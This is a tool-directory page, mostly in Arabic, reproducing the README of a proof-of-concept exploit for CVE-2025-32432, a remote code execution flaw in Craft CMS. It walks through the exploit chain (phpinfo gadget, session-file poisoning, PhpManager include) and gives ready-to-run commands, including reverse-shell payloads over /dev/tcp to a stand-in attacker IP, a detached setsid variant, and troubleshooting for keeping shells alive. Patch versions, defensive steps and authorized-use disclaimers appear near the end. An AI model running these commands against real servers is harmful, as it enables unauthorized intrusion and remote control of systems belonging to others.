Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-32432-POC | Kitploit
أدوات/GitHubGitHub/theeomega/cve-2025-32432-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمالفريق الأحمر
GitHubtheeomega/cve-2025-32432-poc

CVE-2025-32432-POC

عرض المستودع
منذ 28 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Craft CMS CVE-2025-32432 إثبات مفهوم لهدف واحد

للاستخدام المصرح به فقط. هذا المستودع مخصص للبيئات المخبرية الخاضعة للتحكم، ومنصات CTF مثل Hack The Box، والتحقق الداخلي، والتحقق الدفاعي. لا تشغّل هذا ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.

نظرة عامة

يحتوي هذا المشروع على إثبات مفهوم لهدف واحد لثغرة CVE-2025-32432، وهي مشكلة تنفيذ أكواد عن بُعد بدون مصادقة في Craft CMS.

ينفّذ إثبات المفهوم مرحلتين:

  1. تأكيد الثغرة باستخدام أداة phpinfo() عبر نقطة نهاية توليد تحويل الأصول في Craft CMS.
  2. تنفيذ أوامر اختياري باستخدام سلسلة تتضمن ملف جلسة عبر خطوتين.

صُمم السكربت لتجنب مشكلة النتيجة السلبية الخاطئة الشائعة في بعض أدوات إثبات المفهوم العامة: طلب تحويل الصور العادي قد يعيد 404، بينما تعمل نفس نقطة النهاية وassetId عند استخدام حمولة الأداة الفعلية.

الإصدارات المتأثرة

وفقًا للإرشاد الرسمي من Craft CMS وقواعد بيانات الإرشادات العامة، النطاقات المتأثرة هي:

فرع Craft CMSالإصدارات المتأثرةالإصدار المُصحَّح
3.x< 3.9.153.9.15
4.x< 4.14.154.14.15
5.x< 5.6.175.6.17

قم بالترقية إلى إصدار مُصحَّح فورًا إذا كنت مسؤولًا عن نشر Craft CMS.

الملخص الفني

يتّبع إثبات المفهوم هذا المسار التالي:

root@kitploit:~
Get CSRF token
      |
      v
Test endpoint + assetId with phpinfo gadget
      |
      v
Confirm vulnerable response contains PHP Version / PHP License
      |
      v
Poison Craft session return URL with PHP payload
      |
      v
Trigger yii\rbac\PhpManager to include the PHP session file
      |
      v
Execute optional command

تفاصيل تنفيذ مهمة:

  • الاكتشاف يستخدم أداة phpinfo gadget، وليس طلب تحويل عاديًا.
  • تُمرَّر الأوامر بصيغة hex لتجنب كسر سلسلة الاستعلام بمسافات أو اقتباسات أو أنابيب أو علامات &.
  • مجلدات جلسات PHP الافتراضية التي يتم اختبارها هي:
    • /var/lib/php/sessions
    • /var/lib/php/session
    • /tmp
  • خيار --timeout مضمّن لسيناريوهات الصدفة العكسية.

الملفات

root@kitploit:~
craftcms_cve_2025_32432_public_poc.py   Main single-target PoC
README.md                               Project documentation

المتطلبات

  • Python 3.9+
  • requests
  • urllib3

تثبيت التبعيات:

root@kitploit:~
python3 -m pip install requests urllib3

الاستخدام

1. وضع الفحص فقط

يؤكد هذا الثغرة باستخدام أداة phpinfo فقط.

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py -u http://target.local

الإخراج الناجح المتوقع:

root@kitploit:~
[+] phpinfo triggered
[+] Working endpoint: http://target.local/index.php?p=admin/actions/assets/generate-transform
[+] Working assetId: 0
[+] Vulnerability confirmed by phpinfo gadget
[*] Check-only mode. Use -c 'id' to run a command.

يُحفظ رد phpinfo على النحو التالي:

root@kitploit:~
phpinfo_success.html

2. تنفيذ أمر بسيط

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py -u http://target.local -c "id"

مثال على الإخراج الناجح:

root@kitploit:~
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

3. استخدام نقطة نهاية ومعرّف أصل معروفين

استخدم هذا عندما تعرف القيم العاملة مسبقًا.

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  -c "id" \
  -a 0 \
  --endpoint "http://target.local/index.php?p=admin/actions/assets/generate-transform" \
  --session-dir /var/lib/php/sessions

4. وحدة تحكم أمامية مخصصة

قد تستخدم بعض الأهداف وحدة تحكم أمامية مخصصة مثل x.php.

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  --front x.php \
  -c "id"

يختبر هذا مسارات مثل:

root@kitploit:~
http://target.local/x.php?p=admin/actions/assets/generate-transform

5. استخدام الصدفة العكسية

شغّل مستمعًا أولاً:

root@kitploit:~
rlwrap -cAr nc -lvnp 12345

ثم شغّل إثبات المفهوم مع أمر صدفة عكسية:

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  -c "bash -lc 'bash -i >& /dev/tcp/YOUR_VPN_IP/12345 0>&1'" \
  --timeout 0

--timeout 0 يعطّل مهلة الطلب. هذا مفيد لأن الصدفات العكسية غالبًا ما تُبقي طلب HTTP مفتوحًا.

نسخة مفصولة (Detached):

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  -c "bash -lc 'setsid bash -c \"bash -i >& /dev/tcp/YOUR_VPN_IP/12345 0>&1\" >/dev/null 2>&1 &'" \
  --timeout 0

الخيارات

استكشاف الأخطاء وإصلاحها

assetId 0 -> HTTP 404 أثناء الفحص العادي

لا تعتمد على طلب تحويل عادي للاكتشاف. بعض الأهداف تُرجع 404 لجسم تحويل عادي لكنها ما زالت تنفّذ حمولة الأداة.

يكتشف إثبات المفهوم هذا التركيبات الصالحة باستخدام أداة phpinfo نفسها.

phpinfo يعمل، لكن تنفيذ الأمر يفشل

جرّب تحديد مجلد الجلسة يدويًا:

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  -c "id" \
  --session-dir /var/lib/php/sessions

ثم جرّب:

root@kitploit:~
--session-dir /var/lib/php/session

أو:

root@kitploit:~
--session-dir /tmp

الصدفة العكسية تتصل ثم تموت بسرعة

استخدم أحد هذه الأساليب:

  1. عطّل مهلة الطلب:
root@kitploit:~
--timeout 0
  1. استخدم حمولة مفصولة مع setsid أو nohup.

  2. تأكد من صحة عنوان IP للاستدعاء:

root@kitploit:~
ip -br a | grep tun

انتهاء مهلة القراءة أثناء الصدفة العكسية

قد يكون هذا طبيعيًا إذا كانت الصدفة العكسية قد اتصلت بنجاح. تحقق من المستمع قبل اعتبار المهلة فشلًا.

مخرجات الأمر مفقودة

جرّب أمرًا أبسط أولاً:

root@kitploit:~
-c "id"
-c "whoami"
-c "pwd"

إذا كانت الأوامر البسيطة تعمل بينما تفشل الأوامر المعقدة، فاقتبس الأمر بعناية أو استخدم حمولة صدفة مفصولة.

مثال على إخراج مختبر

root@kitploit:~
[*] Target: http://orion.htb
[*] Front controller: index.php
[+] CSRF token found via http://orion.htb/index.php?p=admin/dashboard
[*] Testing endpoint: http://orion.htb/index.php?p=admin/actions/assets/generate-transform
    assetId 0 -> HTTP 200
[+] phpinfo triggered
[+] Working endpoint: http://orion.htb/index.php?p=admin/actions/assets/generate-transform
[+] Working assetId: 0
[+] Vulnerability confirmed by phpinfo gadget
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

إرشادات دفاعية

إذا كنت تدير مثيل Craft CMS:

  1. رقِّ إلى Craft CMS 3.9.15 أو 4.14.15 أو 5.6.17 أو أحدث.
  2. راجع جذور الويب بحثًا عن ملفات PHP مشبوهة أو قواقع ويب.
  3. راجع مجلدات جلسات PHP وسجلات خادم الويب بحثًا عن طلبات مشبوهة إلى مسارات تحويل الأصول.
  4. قم بتدوير الأسرار من ملف .env وبيانات اعتماد قاعدة البيانات إذا كان الاستغلال مشتبهًا به.
  5. قيّد الوصول العام إلى المسارات الإدارية حيثما أمكن.
  6. راجع الطوابع الزمنية لنظام الملفات حول نوافذ الاختراق المشتبه بها.

المراجع

  • إرشاد Craft CMS الرسمي: https://craftcms.com/knowledge-base/craft-cms-cve-2025-32432
  • قاعدة بيانات إرشادات GitHub: https://github.com/advisories/GHSA-f3gw-9ww9-jmc3
  • إدخال NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-32432
  • التحليل الفني من SensePost: https://sensepost.com/blog/2025/investigating-an-in-the-wild-campaign-using-rce-in-craftcms/

إخلاء مسؤولية

يُوفَّر هذا المشروع لأغراض تعليمية وبحثية ومخبرية والتحقق الدفاعي فقط. المؤلف غير مسؤول عن إساءة الاستخدام. اختبر فقط الأنظمة التي تملكها أو لديك إذن كتابي صريح لتقييمها.

تنزيل الأداة
الخيارالوصفالافتراضي
-u, --urlعنوان الهدف الأساسيمطلوب
-c, --cmdأمر اختياري لتنفيذه بعد تأكيد phpinfoلا شيء
--frontاسم وحدة التحكم الأماميةindex.php
-s, --scan-maxأقصى assetId لاختباره باستخدام أداة phpinfo50
-a, --assetمعرّف أصل معروف يعمللا شيء
--endpointنقطة نهاية generate-transform معروفة تعمللا شيء
--session-dirمجلد جلسات PHP. يمكن توفيره عدة مراتقائمة مدمجة
--timeoutمهلة الطلب لتفعيل الأمر. استخدم 0 بدون مهلة20